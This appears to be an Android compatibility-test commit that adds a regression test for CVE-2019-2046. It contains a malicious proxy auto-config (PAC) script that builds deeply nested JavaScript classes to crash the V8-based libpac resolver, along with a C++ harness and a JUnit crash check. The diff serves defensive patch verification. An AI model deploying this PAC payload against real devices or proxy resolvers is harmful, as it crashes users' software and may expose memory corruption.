[RESTRICT AUTOMERGE] CTS test for Android Security b/117556220
Bug: 117556220
Bug: 129556445
Test: Ran the new testcase on android-8.0.0_r2 with/without patch
Change-Id: I7f9f653d45e5ca2aec044aad14558eeb69c34cc7
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2046.pac b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
new file mode 100644
index 0000000..82ef431
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
@@ -0,0 +1,27 @@
+function FindProxyForURL(url, host){
+ const f = eval(`(function f(i) {
+ if (i == 0) {
+ class Derived extends Object {
+ constructor() {
+ super();
+ ${"this.a=1;".repeat(0x3fffe-8)}
+ }
+ }
+
+ return Derived;
+ }
+
+ class DerivedN extends f(i-1) {
+ constructor() {
+ super();
+ ${"this.a=1;".repeat(0x40000-8)}
+ }
+ }
+
+ return DerivedN;
+ })`);
+
+ let a = new (f(0x7ff))();
+ a;
+ return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2046/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2046/Android.mk
new file mode 100644
index 0000000..d98956b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2046/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2046
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 64
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := external/chromium-libpac/src
+LOCAL_SHARED_LIBRARIES_64 := libpac
+LOCAL_SHARED_LIBRARIES_64 += libutils
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2046/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2046/poc.cpp
new file mode 100644
index 0000000..6486cae
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2046/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <proxy_resolver_js_bindings.h>
+#include <proxy_resolver_v8.h>
+#include <sys/types.h>
+#include <utils/String16.h>
+#include <utils/String8.h>
+#include "../includes/common.h"
+
+#include <fstream>
+#include <iostream>
+
+#define TIMEOUT_IN_MILLISECONDS 5 * 60 * 1000
+
+android::String16 url("");
+android::String16 host("");
+
+class MyErrorListener : public net::ProxyErrorListener {
+ public:
+ virtual void AlertMessage(android::String16 alert) {
+ (void)alert;
+ }
+
+ virtual void ErrorMessage(android::String16 error) {
+ (void)error;
+ }
+};
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ net::ProxyResolverJSBindings *bindings =
+ net::ProxyResolverJSBindings::CreateDefault();
+ MyErrorListener errorListener;
+ net::ProxyResolverV8 resolver(bindings, &errorListener);
+ android::String16 results;
+
+ std::ifstream file;
+ file.open(argv[1]);
+ if (file.rdstate() != std::ifstream::goodbit) {
+ return EXIT_FAILURE;
+ }
+
+ file.seekg(0, std::ios::end);
+ size_t size = file.tellg();
+ char* raw = (char*) calloc(size + 1, sizeof(char));
+ if (!raw) {
+ return EXIT_FAILURE;
+ }
+ file.seekg(0);
+ file.read(raw, size);
+ file.close();
+ android::String16 script(raw);
+
+ resolver.SetPacScript(script);
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ resolver.GetProxyForURL(url, host, &results);
+ }
+ free(raw);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
new file mode 100644
index 0000000..691349f
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2046.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2046 extends SecurityTestCase {
+
+ /**
+ * b/117556220
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @SecurityTest(minPatchLevel = "2019-05")
+ @Test
+ public void testPocCVE_2019_2046() throws Exception {
+ pocPusher.only64();
+ String inputFiles[] = {"cve_2019_2046.pac"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2046",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}